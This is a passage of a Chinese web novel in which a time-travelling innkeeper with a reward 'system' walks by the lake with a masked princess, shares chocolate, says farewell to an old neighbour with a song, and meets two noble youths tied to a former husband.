故而无论是谁今晚带走江云帆,她都觉得合理。
直到自湖上传来的那道清冷女声,带着绝对的不容置疑,无比平静地说出那句“今夜江公子随我走”。
她似乎不是在同任何人商量,也没打算参与双方的竞争,只是在简单地陈述一件确定的事。
太过霸道!
但齐之瑶丝毫不认为她这样的霸道有什么无理的地方。
因为她将目光投向湖面,在看见那道伫立于船头,那身着红袍、挺拔修长的身影时,内心突然生出一阵浓烈的无力感。
而自那声音响起,在场的其他人也同样被吸引了注意,纷纷扭头看过去。
率先感到惊讶的是许灵嫣。
方才她来时匆匆忙忙,一心只顾着与期待已久的彦公子见面,却全然没注意到停泊在湖中那艘大船。
她自然认得那艘船,是来自王府,负责互送楼舫的护卫船。
在镜源县此地,能够指挥调度这艘船的人,唯有南毅王秦奉的掌上明珠,临汐郡主秦七汐。
而当下她看见了那艘护卫船,却已经晚了。因为就在船与岸之间的水面上,一只小舟正载着那个熟悉的身影,迅速滑向岸边。
许灵嫣也是没想到,今晚不仅在这见到了江云帆,更是见到了追逐而来的秦七汐。
她现在越发难以理解,这江云帆到底哪点好,无论是齐之瑶,还是眼前这位北域姑娘,甚至是小汐,都对他趋之若鹜。
她可以相信其他人眼睛瞎了,但绝不信秦七汐也瞎了……
那小船来势如风,只片刻便抵达湖边。
负责划桨的黑衣女子系好船绳,另一位青衣女子则寻了一处干燥的石岸,搀扶着红袍女子的手臂下船。
三人迈步朝这边走来。
此刻翩翩目光警觉,全程盯着那红袍女子。她知道对方是主子,而旁边两人是仆。
其实翩翩此次来江南,对比本地的女人,她所自信的不只有容貌,还有身高。北境人普遍高于南方人,这是由自幼生活的环境与饮食习惯所致。
方才见到许灵嫣,她便惊讶于对方的身姿高挑,竟完全不输于自己。
而现在,那红袍女子,看着更是比许灵嫣还要高出几分!
关键身材挺拔,双腿修长,举手投足间带着十足的自信与冷漠,尽管那一身红袍看似普通,但那高贵的气质显然不是凡俗之人。
这让翩翩不禁感受到巨大的压力。
好在,对方的头上戴了一顶斗帽,白色的垂纱落下,遮住了那张神秘的脸庞,看不清模样。
如此一来,至少对方在容貌上并没有胜过自己。
此刻,三人已经走过了一段岸滩,来到几人眼前。
原本两道艳丽的红色身影,在这一刻变成了三道。尽管秦七汐身上的红袍,是她特意吩咐青璇用简单布料定制而成的,从色泽光彩上来看,远不如许灵嫣和翩翩的红裙耀眼。
但奈何她的气场丝毫不输。
“今夜江公子随我去。”
她再度重复了一遍方才的话,语气依旧是毫无商量的高冷。
许灵嫣和齐之瑶自然没有反驳。
甚至,她们还本想朝秦七汐行礼,不过被青璇一个眼神制止了。
在登上王府楼舫之时,所有人都会收到一道提醒。
即一旦离开楼舫,任何人不得在外透露临汐郡主的身份,如有违抗,便是代表其家族,与王府作对。
这也是南毅王用来保护女儿的手段之一。
不过翩翩并不知道面前女子的身份,她只把对方当成又一个竞争者,同许灵嫣一样。
故而她沉了沉脸色,语气丝毫不让:“这位小姐,且不说是否需要分个先来后到,江公子今晚跟谁去,恐怕还得看他的意思吧?”
话说完,翩翩便主动往前迈了一步。
此处恰有从远处灯会照射而来的火光,橙红色的光芒辉映在她的侧脸之上,更为其本就绝美的俏脸,添上了几分妩媚。
很显然,她这是打算与秦七汐比美。
谁更好看,谁便更有资格获得江公子的青睐。
在容貌这一点上,翩翩向来无比自信,从不觉得自己会输给任何人。她之所以无论走到哪都能快速成为新的花魁,都是将以前的花魁一个个比下去的。
甚至许多人在见到她的脸时,都会主动放弃。
所以翩翩认为,或许与她不相上下的许灵嫣,就已经是整个南方最美的女人了。
而眼前这位不愿抛头露面的,可能容貌并不是强项。
当下,她十分自信。
“那是自然。”
谁知,那红袍女子竟丝毫不退,同样一步迎上来,“我想江公子,或许愿意多看我一眼。”
说罢,秦七汐伸出纤纤素手,掀开脸上的面纱……
……
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第119章 德芙,纵享丝滑
在这一瞬间,空气陷入了绝对的寂静。
明月与灯火,映着那一望无际的湖光水色,弥漫千里,美若画卷。
但这所有的美,都在触及湖岸处伫立的红袍女子时,变得黯然失色。似乎这天地间所有的一切,都理所当然是她的陪衬。
毫无疑问,秦七汐这面纱一掀,反倒让江云帆心中的情绪变得更为复杂了。
此刻震惊和疑惑,以及浓烈的惊艳,悉数交织在一起。
昨日在念荷亭中,秦七汐同样蒙着面纱,江云帆只通过她的身姿与五官轮廓,推测她姿色绝对不简单。
而早晨在湖畔月亮湾,他见到归雁先生沈远修身边的小书童,惊为天人。
当时只觉得那小哥俊俏得过了头,五官精致到全然看不出是个男的。
可又何曾想,亭中那挺拔的身姿会与湖畔这绝美的脸庞融合在一起,呈现出眼前这倾国倾城的绝美。
不得不说,秦七汐确实好看。
前世那些受尽千万人追捧的女明星,在她面前也不过是路人一个。
而在大乾,类似许灵嫣这般姿色,那无论放在何处,都将是人群中最为闪亮的瑰宝,艳压全场的存在。
可若要与秦七汐站在一起,则明显能感觉到她的暗淡。
故而,饶是江少爷活了两世,此刻也忍不住看呆了。
而对于翩翩来说,她算是彻底认清了现实。
尽管此刻也同先前一样,从她的角度,只能看清秦七汐的侧脸。
但能更清晰,更直接,也更明显地感受到那绝对的差距。至少在她看来,自己比不过,完全比不过!
或许对方根本就不应该存在于这世间。
自今日以前,翩翩认为自己或许就是完美的。直到遇见了眼前的人,“完美”这两个字,便有了全新的解释。
实际上何止翩翩,即便是见惯了秦七汐的许灵嫣,此刻也觉得小郡主美得不可方物。
虽然没有特意的打扮,穿着也不比平常那般华美,但借着月光与朦胧的水汽,此刻的秦七汐就是比以往更美。
或许是面从心起,她现在估计很开心吧。
“江公子,你看,我真的不像坏人。”
不像坏人……
好直白的表述!
但这确实就是秦七汐心中所想,她担心江云帆会有所顾忌,从而拒绝她的邀请。毕竟要随一个全然陌生的人同去,这本就带着许多不安定的因素,他本就没有非得接受的理由。
此刻她满脸紧张地注视着江云帆,一双美眸之中波光流转,看得出满是希冀。
原方才准备动手的墨羽见此,一时有些茫然。
殿下这是……
她好像有些后悔了,刚才不该拔剑的,她的郡主殿下明显才是主动亲近江云帆的那一方!
殿下都不介意,她跳出来干嘛?
“秦小姐说笑了,在下从未觉得你像坏人。”
俗话说得好,相由心生。
江云帆可是特地在网上研究过面相的,心里阴暗扭曲,性格习性恶劣的人,在面部往往会呈现出小眼、塌鼻、尖嘴以及吊眉等特征,这些在秦七汐脸上完全找不见。
相反,秦小姐那张脸属于是多看上两眼,整个人心情都能好不少那种。
而听到这个回答,秦七汐只觉得心里生出一股甜滋滋的味道。
他觉得我是好人啊……
不过好人归好人,江少爷的疑问并没有结束。
他将目光从秦七汐脸上缓缓向下挪开,直到汇聚在胸口处时,眉头不禁皱了起来。
这规模可不小!
昨日他便目测过,就算称不上大奶牛,小奶牛也是妥妥没跑了。
可今晨湖畔那位小书童,他可是特地留意了,平平无奇。
一时间疑从心起,江云帆忍不住发问:“敢问秦小姐,是不是有个同胞的兄弟?”
秦七汐自然也注意到江云帆的眼睛在看哪里。
她俏脸一红,有些局促,但也没有躲避。只是微微转头,将目光投向身旁的墨羽。
早晨是墨羽同她一起去的湖畔。
而她用以束缚身体的布带,也是从墨羽这里拿的。
王府在训练女性武者,以及她们出行执行命令时,都会为她们发放这种能够大幅降低身体阻碍,增加灵敏能力的布带。
然而墨羽却从来都没能用得上,这次恰好让秦七汐体验了一把。
接到郡主殿下的目光,墨羽果断仰头看江云帆:“江公子莫要多想了,我家小姐乃是府中独女,并无兄弟姐妹。”
“明白了。”
江云帆微微一笑,心道这古代的束身能力倒还挺厉害,“既如此,那我便再无疑问了。秦小姐说要请教诗文,不知打算在何地点?”
“若公子不弃,不如随我沿湖畔走走?”
秦七汐眼里满是冒险的小兴奋。
其实按照王府的规定,她不能在船下逗留太久,就算邀请江云帆,那也只能将其带回船上。
但她实在不想与江云帆的第一次相聚,是在那令自己烦闷的高墙之中。
“自然可以,秦小姐请。”
江云帆主动做出礼让的手势。
他倒不是多渴望与秦七汐相处,毕竟以他闲云野鹤的习惯,还是孤寡一人比较好。
之所以主动,是因为这样随秦七汐一同离开,就可以完美摆脱许灵嫣、齐之瑶还有翩翩这三尊大神了。
三尊大神显然是不太高兴的。
“小汐,你千万记得打听……”
秦七汐从身旁走过时,许灵嫣急忙在她耳边提醒了一句。
而看着几人远去的背影,翩翩眼中的神色,逐渐从先前的惶恐,变成了一丝决然。
无论江云帆是不是她要找的仇家。
这件事,绝不可能如此轻易结束……
……
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第120章 殿下身上热着呢
湖堤上的两道人影,修长挺拔,相互隔着二尺的距离,步调一致。
偶有柳枝飞扬,掠过女孩的额前,使得她不得不伸手挡开。
“江公子,多谢你的德芙,我很喜欢。”
“不必客气。”
“嗯,我已经吃完了。”
江云帆点头:“好的。”
“嗯……吃完好些时候了。”
“……”
江云帆本来还在纳闷的,吃完了就吃完了吧,有必要特地一遍一遍告诉自己吗?
现在话聊到这,他总算是听明白了。
敢情这姑娘是意犹未尽啊!
可恶,秦七汐已经被这巧克力给震惊过一次了,就算再送上一块,也拿不到半点情绪值。
江云帆是打算找够七个人,将这德芙一分为七,让收益最大化的。
现在多消耗一块,也就意味着要少一份情绪值。
但没办法,听到身旁财神爷这可怜巴巴的声音,江少爷实在忍不下心看她饿肚子。
“那就再尝一尝吧。”
他又一次拿出包里的巧克力,将其递到秦七汐眼前。
小郡主没有丝毫的犹豫,果断伸手掰下一块,喂进嘴里。
江云帆只感觉一阵肉疼,忍不住开口提醒:“这东西十分稀有,我手里的,恐怕就是世间唯一了,所以是吃一块少一块。”
秦七汐:“唔……嗯!”
很好。
江少爷很欣慰,看来秦小姐确实是冰雪聪明,而且善解人意。这事经他这么一提醒,立马便明白了言下之意。
片刻之后……
“江公子,我吃完了。”
“?”
“嗯,多谢你的德芙。”
江云帆也不知如何形容自己心情,但总之就是狠狠一咬牙:“好吧!”
又一波情绪值离他而去。
不过江云帆还是低估了秦小姐对美食的执着追求,她每一次说自己吃完了,都脸不红心不跳,好似自己压根就不是在要吃的。
可你若是不理她,她就反复说反复说,直到你心软为止。
不消片刻,江云帆的七块德芙,便只剩下了最后两块。原本长长的条形包装,现在也软趴趴下来。
“哎哟秦小姐,别盯着我了,那么长一根都让你吃了,现在还想吃我最后这两颗?”
秦七汐:“……”
“行吧行吧,给你,都给你!”
江云帆都快郁闷死了。
原本高高兴兴计划好的一切,就等找到合适的人选,赚他个盆满钵满。
可谁曾想,竟全栽在了秦七汐嘴里。
果然,养一只财神爷不是那么容易的事,要想让她心情好,估计还得祈祷系统以后多刷新点巧克力出来。
“行了,这回真让你吃得一颗也不剩了!”
“好,谢谢江公子。”
这次是真谢谢了。
秦七汐心里美滋滋的,在江云帆看不见的面纱下,嘴角更是勾起弯弯的弧度。
其实小郡主虽然嘴馋,但也不是非得把江云帆的德芙吃光。
之所以这样做,只是不想让他拿着剩下的,去送给别的姑娘……
……
时过午夜,月光如水。
湖畔原本密集的人群,随着时间的推移,变得越来越稀疏。
一些人还有未竟之路,而一些人已经走到了自己的目的地,在经过每一个路口时,都有相熟的朋友挥手作别,约定下次再遇。
人生亦是如此,每时每刻都可能有人在中途下车。
而对于江云帆和秦七汐来说,沿着这条路,也不可能一直走下去。
镜源县本就不大,没走多久,便来到了江云帆此前泊船的地点。当时因为码头拥挤,他便与杨文炳划船来到此处,寻了一处僻静的空地登岸。
当时恰逢杨文炳被岸上景致所吸引,一番描述,恰好勾起江云帆心中的惯性记忆。
于是那一句“何夜无月?何处无竹柏?但少闲人如吾两人耳”脱口而出,也不知震惊之下的杨大少爷又要如何消化,或是与人分享了。
“秦小姐,我的地方到了。”
江云帆指了指水边漂浮的小舟,侧身对秦七汐抱拳,“此番夜已至深,小姐也早些回去歇息吧。”
“就到了吗?”
秦七汐尚有些懵懵的。
今日与江公子同行一段,于她而言也算幸运,起码一直想见的人,最终是见到了。
至于一开始说好的探讨诗词,尽管全程都未提及,但秦七汐心里也清楚,从“半江瑟瑟半江红”到“东风夜放花千树”,从“接天莲叶无穷碧”到“但愿人长久,千里共婵娟”……她若要与江公子探讨,或许一整夜的时间都不够。
相聚,总是会散的……
“那,希望公子一路安顺。”
小郡主抬起头,主动将垂纱分开,盘于斗帽之上。
她就这样看着江云帆,眼中闪过一丝迟疑,但又很快鼓足勇气:“不知明日,我可否还能到秋思客栈寻你?”
“……”
听到这话,江云帆不禁陷入了沉默。
这完全就是一个让人无法拒绝的问题。
秋思客栈,那可是客栈,营业场所,只要客人愿意来,就没有拒绝的道理。
但秦七汐这话,显然不为客栈,而是为他。
此刻看着近在咫尺的那张绝美的脸,看月光洒在她微曲的睫毛上莹莹泛光,看那清冷忧怜的双眸,江少爷也有些恍惚了。
一句能否来寻你,这算是在考验老干部吗?
他说不清楚,但大脑很清醒!
虽说眼前这漂亮女子姓秦,且看她出行的规模,显然比许灵嫣这个户部尚书之女还要大上许多倍。
这意味着自己与她身份悬殊。
但那高达50倍的奖励倍率,毫无疑问能给他带来巨大的情绪值收益。
所以,江少爷又有什么理由拒绝呢?
他朝秦七汐点了点头,随后迈步走到湖边登船,解开船锁后,划桨往湖中游去。
“明日正午,小姐到客栈,可以尝尝全新推出的美食。”
秦七汐心中正紧张,本以为江云帆会拒绝,却听那熟悉的声音传来。
一时喜从心起,展颜一笑:“好!”
望着湖上渐远的背影,小郡主微笑着挥手良久。
却不知何时,青璇与墨羽二人已经走到身边。
“殿下,江公子已经走远了。”
墨羽话刚出口,青璇连忙掐了她一把:“蠢货,你什么都不懂,就不要多嘴!”
“我只是想让殿下早点回船,以免着凉。”
青璇露出一抹意味深长的笑容:“这会儿殿下身上热着呢……”
……
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第121章 商城刷“真理”
当江云帆摇船回到秋思客栈时,已是午夜过半。
客堂的每一个角落,都被点上了通明的烛火,火光下白瑶与江滢两人的身影正在来回忙碌,收拾着诗酒会后产生的满地狼藉。
看得出,今晚客栈的热闹,一直持续到前不久才结束。
在江云帆迈步走进大门,踏上木质地板那一刻,江滢的目光立马被吸引过来。
“哥,你回来啦!”
小姑娘赶忙放下手中的扫把,屁颠屁颠跑过来迎接。
江云帆帮她理了理额前被汗水打湿的头发。
江滢生自北漠,发丝自然卷曲,一旦有一部分被打湿了贴在皮肤上,与整体的对比就会非常明显。
理顺之后,便好看多了。
“来,冰糖葫芦,麻圆,小糖人……”
江云帆一股脑将此前在灯会上买的小零食塞进江滢手里,喜得小姑娘心花怒放,一口一个“谢谢哥哥”。
可惜有些遗憾,那袋来之不易的德芙,全让秦七汐这馋猫给吃完了!
不然的话,倒是能让江滢和白瑶也体验一下来自未来世界的口味,搞不好又能赚到好几百情绪值。
回过头来越想越气。
江少爷暗自下定决心,待明日中午秦七汐前来,定要让她做出补偿!
收回思绪,打发完江滢,江云帆便又走到白瑶身边。
瑶姐今日显然累得不轻,方才还一边收拾着凌乱的餐桌,一边用拳头在后腰处轻轻捶打,时不时停下歇息。
这会见到江云帆,她连忙直起身子,转头露出一抹笑意。
“小帆,怎么样,灯会好看吗?”
江云帆摇头耸肩:“好看,就是太过繁华,太过吵闹,不如咱们这小客栈,温馨安静,又有瑶姐这样的知心姐姐作陪。”
听到这回答,白瑶脸上的笑容,立马变成了一抹羞红。
知心姐姐,这还是她第一次听到这样的称呼。
不过从字面理解,倒是能明白其含义。
她喜欢这种感觉,也喜欢江云帆给自己起这样的称呼,至少证明,他是乐意留在这里,留在自己身边的。
想到这白瑶展颜一笑:“那你先坐下歇会,等我把这收拾完,下面给你吃。”
她嘱咐一句,便又转过身子,弯下腰继续收拾桌面。
从江云帆的角度看,她那一套紫色襦裙本就贴身,经过这样弯腰稍稍一绷,更是被勒紧一圈。
于是乎,那不盈一握的腰肢,立马呈现出一场视觉盛宴。
瑶姐的身材那是一如既往的赞!
虽说她的腰并不算特别细那种,稍微有点肉,却架不住骨骼小、屁股大,一凸一凹相对比,便显得无比婀娜。
江云帆不动声色地往旁边挪了挪,放下双肩包后,主动帮白瑶收拾起来。
“还是咱们一起吧,早点弄完,然后都早点休息。”
“好~”白瑶柔柔一笑。
不得不说人多力量确实大,有了江云帆的加入,不多时便将整个大堂收拾整洁。
这时江云帆方才发现,客栈似乎少了一个人。
“小李去哪儿了?”他忙开口问。
白瑶无奈摇头:“打傍晚时候,就没见过他人……倒也无妨,待他明日来问个清楚就行。”
说到这她顿了一下,嘴角突然又挂起一抹微笑:“还有啊,今天虽然忙点,但回报是真不小!小帆你猜猜,咱们今晚入账多少?”
“呃……五两?”
“不对,总共是十八两白银,五贯铜子儿,合二十三两!”
白瑶在报账的时候,整个人好似在发光。
江云帆也暗暗有些心惊,按照大乾货币的购买力来算,一两白银,也就是一贯或1000文铜钱,等价于21世纪20年代的4000块左右。
二十三两,刨去成本约剩十五两,那也是四万多的净收入。
这在前世,妥妥算得上二线城市五星级酒店的标准了,关键这还仅仅是个小小的湖畔客栈。
“小帆啊,这里主要都是来自酒水的收入,你这个诗酒会的点子真的太好了!有些人通过比诗词得到免费的茅台酿,没得到的闻见酒香,也忍不住点上两坛,一百坛酒没些时候就卖了个精光!”
“有酒无菜可不行,所以饮酒的客人,顺带着也得捎上几个菜,准备的食材便也卖空了。”
“小帆,多亏了你!”
谈起钱的时候,白瑶就仿佛打开了话匣子,滔滔不绝。
她真的很爱钱。
许是当初遭到渣男背叛,还被骗走了所有的钱财,她想通了一个道理,认为钱不可或缺,且比男人靠谱。
但此时此刻,她却无比坚定的觉得,某个男人……比什么都靠谱!
看着白瑶这微光软软、妩媚诱人的双眸,江云帆只觉得神经一紧,连忙大吸一口气。
果然,漂亮的女人还是太可怕了。
他连忙转移注意,从背包里拿出那一大包桂花酥,捧到白瑶眼前。
美女御姐的目光顿时澄亮了不少。
“这么多啊!谢谢小帆!”
她连忙伸手接过,转而说道,“对了,这里一定花了不少钱吧?”
“没多少,瑶姐不必在意。”
江云帆没有在这个问题上继续拉扯,而是继续从包里,掏出一瓶开大礼包得到的“老干妈”辣椒酱,和一瓶“饭扫光”,递到白瑶手里。
“这是……”
白瑶一脸茫然,看那透光的瓶子,眼神又一次陷入迷离。
瓶子倒是很好看,至少她从小到大从未见过。
不过里面装的东西,卖相却有点一言难尽……
“这两样东西,一个用来给菜肴调味,明天可以让后厨老林往菜里放点,还有一个用来下饭,瑶姐回头可以试试。”
“嗯,好。”
尽管疑惑,但白瑶还是对江云帆足够信任。
“那什么,客堂也收拾完了,我就先带滢滢回去休息了,瑶姐你也别累着。”
“可是天这么黑……”
“没事,咱有灯!”
江云帆潇洒一挥手,领着江滢离开客栈。
不一会,路旁传来“轰隆隆”的引擎声响,小电驴一阵风驰电掣而去。
“哥,今天,我见到二哥了。”
行至中途,江滢忽然在身后弱弱地说了一句。
江云帆正专心骑着车,闻言沉默了片刻。
“他有没有为难你?”
……
第122章 长亭外,古道边,芳草碧连天
又是一年七月八,繁灯灭尽,游人还家。
所谓千里江南,一眼镜湖。
镜湖的水域总计覆盖五郡十三县,由此出发,可乘船前往包括凌州、怀南在内的诸多交通要地,继而再走陆路,便可通向大乾各处。
今日正是万灯节之后,游人离去的时机。
此刻镜湖的口岸,密密麻麻的船只竞相簇拥,在载满乘客后陆续离港,朝着天南海北四散而开。
江云帆一路护送季云苍前往码头乘船。
此刻清风微徐,吹那杨柳轻曳,柳枝朝着那湖岸的堤坝来回招摇。
季云苍随手折断拦路的一截,拿在手里随意抽打路旁的野草,老顽童的性格依旧如初。
只是从江云帆的角度看,他的身影明显沧桑了许多,也凄凉了许多。
“今日这天气……呵,还真是昏沉得紧。”
“天意随人意吧。”江云帆答道。
诚然,今日的天色确实很暗。
似乎是那老天爷感受到了人们离别之意,在这往日红日高升的时刻,却只将天空笼上一层蒙蒙的灰,让辽阔的湖面映着,于是整个世界都变成了灰。
“季伯此行,是要去北方?”
其实自一开始江云帆便注意到了。
季云苍身上的行囊轻便,就一个洗得发白的灰布包裹缠绕胸前,里面许是装了些厚衣物,看着鼓鼓囊囊,倒是让他单薄的身躯显得充实了几分。
行李少是便于携带,衣服厚是为了度过寒冬。
单从这点,江云帆便看出季伯此行路程必定遥远。
见江云帆问,季云苍洒然一笑,也没隐瞒:“没错,是去北方,去那比此刻还昏天暗地的京城。”
一个乡野老农,远涉千里去往帝京。
这本就是一件不合理的事,毕竟若只是一名身份贫贱的农人,京城那样的地方,与自己的世界根本就没有利害关联。
很显然,关于江云帆一直以来认为季云苍身份不凡的猜测,老头子这是坦白了。
当然,他也没有追问对方去的目的,只开口问:“大概何时能归?”
互为邻居,这几个月的相处,倒让江云帆有些习惯了这老家伙天天上门叨扰的日子。若没有他,自己在那桃园深处,反倒显得孤单。
季云苍反问:“你那地里种下的西瓜,何时能熟?”
“若无意外,约两月余。”
从系统商城里兑换的无籽西瓜苗,是经过基因改良的,正常的生长周期,也就八十天左右。
“好。”季云苍转过头道,“那就相约瓜熟之前,在你的桃源居重叙,可别忘了属于我的那份!”
“自然,五十个瓜,一个不少。”
“爽快!”
季云苍哈哈一笑,两人就这样漫步,顺着湖岸,很快便途径红雀亭。
今日也同那天一样,亭中有人绕石桌而坐,轻抚桌上弦琴,为安静的湖畔奏响一阵喧闹。
听那琴声,并不娴熟,似在初学。
在镜源县,琴师与乐者确实喜欢到这红雀亭来,据说全因三十年前那位名动江南的入云居士常访于此,以其琴术宗师的技艺,在湖边抚琴。
后来销声匿迹,却还留有一首诗文刻于亭口石碑上——
“朱甍碧瓦倚湖明,烟柳荷风绕画亭。
偶有红羽掠波去,时闻翠禽隔叶鸣。
红尘扰扰何须顾,白云悠悠自可盟。
笑看浮云归远岫,湖外一声天地清。”
红尘扰扰,白云悠悠,笑看浮云,天朗气清……
那时的入云居士,便是江南浪漫洒脱派诗歌的代表。
人们喜欢来这,既是为了纪念,也是希望能融情于景,领悟到一点他当初遗留的才气。
季云苍在路过石碑时,并未驻足停留。
他只随江云帆一同走进红雀亭,并在那弹琴的二人对面坐下,暂时歇脚。
“世人笑我太疯癫,我笑世人看不穿……”
季云苍浅浅一吟,而后缓缓看向江云帆,摇头笑道:“江小友啊江小友,若赐老朽一壶酒,我也想疯疯癫癫,纵身桃园,何惧世人指点?”
“何言无酒?”
江云帆十分爽快地打开双肩背包的拉链,接着从中掏出两坛茅台酿。
这酒坛是特小号的那种,类似于瓶,容量虽然不大,却十分方便携带。
他将两坛酒递到季云苍手里:“季伯,自酿的小酒,你且带在路上,睡前偶尔喝点,赶路切勿多饮。”
“嘶——”
季云苍狠狠嗅了一口。
是熟悉的味道!
这茅台酿他自然认识,昨夜在秋思客栈有幸品尝,一时忘乎所以,酩酊大醉。
而此刻见江云帆拿出来,他依旧禁不住激动:“既如此,那便不留到赶路时了,你我祖孙二人就在此开壶畅饮,待酒足,好上路!”
“什么祖孙二人?”
江云帆当即眉头一皱,“季伯你不厚道啊,喝了我的酒,还想占我便宜?”
“哼,你小子是不知道,这天底下有多少人想叫我一声阿公,却还没机会呢!”
“不必多言,来饮!”
于是乎,两人就坐在亭中,开壶畅饮。
对面弹琴的两位小生,原本还嫌他们吵闹,却在闻到酒香的那一刻,眼神立马变得清澈起来。
两人相视一眼,都从对方眼中读出了不可思议。
他们还从未闻见过如此奇香的酒味。
这边季云苍一脸陶醉,饮下一大口之后,又转头看着江云帆:“江小友,许久未听你弹琴,倒颇有几分怀念,不知可否在这离别之际,再为老朽弹奏一次?”
江云帆微微一顿。
离别本就伤感,再以琴声相送,那不得伤上加伤?
他本想以赶船要紧为由劝说两句,却在接触到季云苍的目光时犹豫了。
酒后露真情。
那眼神中展露的,哪里是什么离别之殇?
分明就是决绝,是释怀,是一种风萧萧兮易水寒的洒脱!
江云帆不傻,到此已经能够猜到,季伯此行恐怕不会简单,似是鼓足勇气才做出的决定,说不好……凶多吉少。
“……”
在沉默了片刻之后,江云帆缓缓点头。
临别赠曲,倒算圆满。
他主动起身,走到那弹琴的两名小生跟前,笑着与对方商量了一番。
对方十分爽快,当场同意将琴借出。
不过,需要分享些酒饮,那香味实在让他们嘴馋。
江云帆点头答应下来,俯身坐在桌前。
而季云苍则侧身来到亭门口,一屁股坐在旁边的大石板上,上身倚着那刻诗的石碑。
他抬头仰望天空,正巧两只红雀低飞而过……
湖水茫茫,伴着那琴声随风而起,只道一曲悠扬,哀婉缠绵。
江云帆从来没让季云苍失望过。
即便到了此刻,这琴声依旧丝丝传入他心底,卷着这湖畔之景,回环萦绕。
而于琴声之中,还夹杂着一道歌声……
“长亭外,古道边,芳草碧连天。晚风拂柳笛声残,夕阳山外山。”
“天之涯,地之角,知交半零落。一壶浊酒尽馀欢,今宵别梦寒……”
第123章 前夫哥回来了
空气陷入良久的寂静。
原本“哒哒哒”的落棋声消失后,唯有湖上清风掠过,撩动幕帘摇晃,致那帘上装饰的彩珠叮铃做响。
沈远修指尖颤抖,默默将那枚实在寻不找落点的棋子收回。
“十年前……王妃因病而逝,全城哀痛,家家户户高挂白绫三日,这是整个江南,乃至是整个大乾,都公认的事实。此事过去太久……老朽认为郡主,早该已经放下了。”
秦七汐未答。
放下,她要如何才能放下?
她永远也忘不了母妃死的那一天,鲜血淋漓的满屋……
这些年她对母妃的死只字未提,甚至就连太大的伤痛都没有表现出来,所有人都以为她放下了,可放下是需要代价的!
那代价就是,要把真正的自己也丢掉。
今日之所以询问老师,是因为在昨天夜里的某时某刻,也许是湖上明月高悬,千里婵娟的一瞬间,又或是湖岸石板路杨柳挽挽,前所未有的甜味在口中融化的一刹那……
总之,她好像把那个真正的自己又捡了起来。
“若老师知道真相,且待何时想通,还望告知学生。”
秦七汐自桌案前起身,朝着沈远修躬身行了一礼,随即转身走出门去。
沈远修望着她的背影,重重叹息。
他知道郡主的性子,有太多太多的事她不会过问,不会过问的事表示不在乎,可一旦问出了第一句,那么直到真相大白,绝不会停下来……
……
吕向明与吕文睿二人还真就穷追不舍。
即便江云帆走路时开启了跑步模式,却依旧没能在抵达客栈前将他们甩掉。
倒是天天锻炼的确与常人不同,约莫两里路程,江云帆跑完面色如常,但身后这两个尾巴可就累得上气不接下气了。
他有点后悔没骑电动车送季云苍,不然这两小子能追上才怪。
当下的时间,正值辰时尾。
秋思客栈的大堂内,尚有许多起床稍晚的客人,正三三两两坐在桌前用早膳。
江云帆踏入大门时,一眼便看见正在柜台前扎头发的白瑶。
美女御姐今天穿了一套不同款式的紫色襦裙,领口稍低。在她将双臂举过头顶,牢牢束住长发时,那胸前的巍峨便随之狠狠一挺……
颤,很颤!
江云帆一本正经地走过去,帮她递上有些够不着的发绳。
白瑶见他来,当即媚眼一笑:“小帆真好。”
“好,山好水好,瑶姐最好。”
白瑶被逗得咯咯直笑,却在回头时,注意到从客栈外匆忙跑进来的两人。
吕向明与吕文睿一进客栈,便各自找了根柱子靠着,弯腰用双手撑住膝盖,然后满脸苦涩地望着江云帆:“先生脚力实在了得,哎哟……跑死我了。”
“都说了,我不收徒。”
江云帆实在不想与他们在这个问题上多纠缠,只伸手指了指远处靠墙的一张空桌,“你们要是跑累了,不如找个地方坐下,喝点热茶,再上点小吃什么的,补补体力。”
两人闻言当即眼睛一瞪。
随即相视一眼:“先生这是在关心我们?”
“那还不快照做!”
于是乎,两小生急忙屁颠屁颠跑去指定的客桌,狠狠要了十来样餐点,乐得白瑶眉开眼笑。
真好,又是赚钱的一天。
不过江云帆倒是才注意到,这两个看着不过十五六岁的小青年,长得挺白净,且一身衣裳是用名贵布料制成,明显来自富贵人家。
尤其腰间悬挂那玉佩,品相完美,其雕刻的风格更像是京城产物。
又是大老远跑来江南看灯会的公子哥。
江云帆倒也没深究两人的身份,他只照惯例去后堂换上自己的杂工服,又与正在洗菜的江滢交代了两句莫要伤手,便开始做起了端茶送水的日常活。
待吕向明与吕文睿要的早点做好,便亲自为二人送了过去。
可谁知吕向明一见,当即眉头一拧:“先生,为何您会在这间小小的临湖客栈里,做此等杂活,这样有失身份啊!”
他大为不解。
在他看来,以先生之才,无论走到哪里,即便是帝京的各大公侯世家,都会被奉为座上宾。
只要先生愿意,只需一句话,就有无穷无尽的财富涌来。
这样的人,哪里需要干这些费力的粗活?
“你懂个屁!”
吕文睿在桌下狠狠踢了他一脚,“真正的高人,都是甘于平凡,热衷于享受生活的,别拿你的想法来揣度先生的乐趣!”
“啊……啊对,是小生口不择言了,还请先生莫怪。”
吕向明说完便连忙站起身,主动接过江云帆手里的菜盘。
吕文睿见状也不甘落后,快速伸手将那盘中的早点一一端到桌上,全程不让江云帆动手。
至于江云帆,他自然不至于因为一句话就怪罪别人。
或者说,他一向不太在意别人的评价。
然而就在他拿回菜盘,准备转身离开时,却被吕向明给叫住。
“先生且慢!”
江云帆停下脚步,便听对方开口,“先生若喜欢这客栈的生活,不如让我将其买下,赠予先生?”
听到这话,江云帆当即一顿。
好家伙,这人是有钱任性过头了,什么话都敢说是吧?
果不其然,正在不远处为客人结账的白药也听到了这一句,于是循声回头过来,一脸茫然。
她正美滋滋收钱呢,怎么就听到有人要买客栈?
这一次,吕文睿没再反驳吕向明,而是朝江云帆一抱拳,顺势说道:“先生,实不相瞒,我二人皆从京城而来,乃是东云侯的两位孙儿。”
“此番到镜源目的有三,其一,乃是为观那闻名天下的万灯节。”
“其二,是随姐夫还家,寻其亲人。“
“至于其三,即最重要的一点,那便是听从父上大人命令,要寻一良师,精进琴技与学业。今日在湖畔一闻,知先生才华惊世,故而恳请先生收我二人为徒,浅浅指点一二,我等必将涌泉相报!”
吕文睿说得义正辞严。
然而气氛却陷入了极度的沉静。
江云帆目光沉沉地看着对方,脸上没有丝毫的表情。
但东云侯这三个字,却反反复复地回荡在心中。
他记得瑶姐说过……以前抛弃他的那个渣男,是被京城一户显赫世家看上了。
而这个显赫世家,正是东云侯府!
也就是说,吕文睿二人的姐夫还家,指的就是……前夫哥回来了!
第124章 让江云帆原形毕露
自从在昨夜秋思客栈的诗酒会上,江元勤听到了那首《桃花庵歌》,便一直精神恍惚,躺在床上也彻夜难眠。
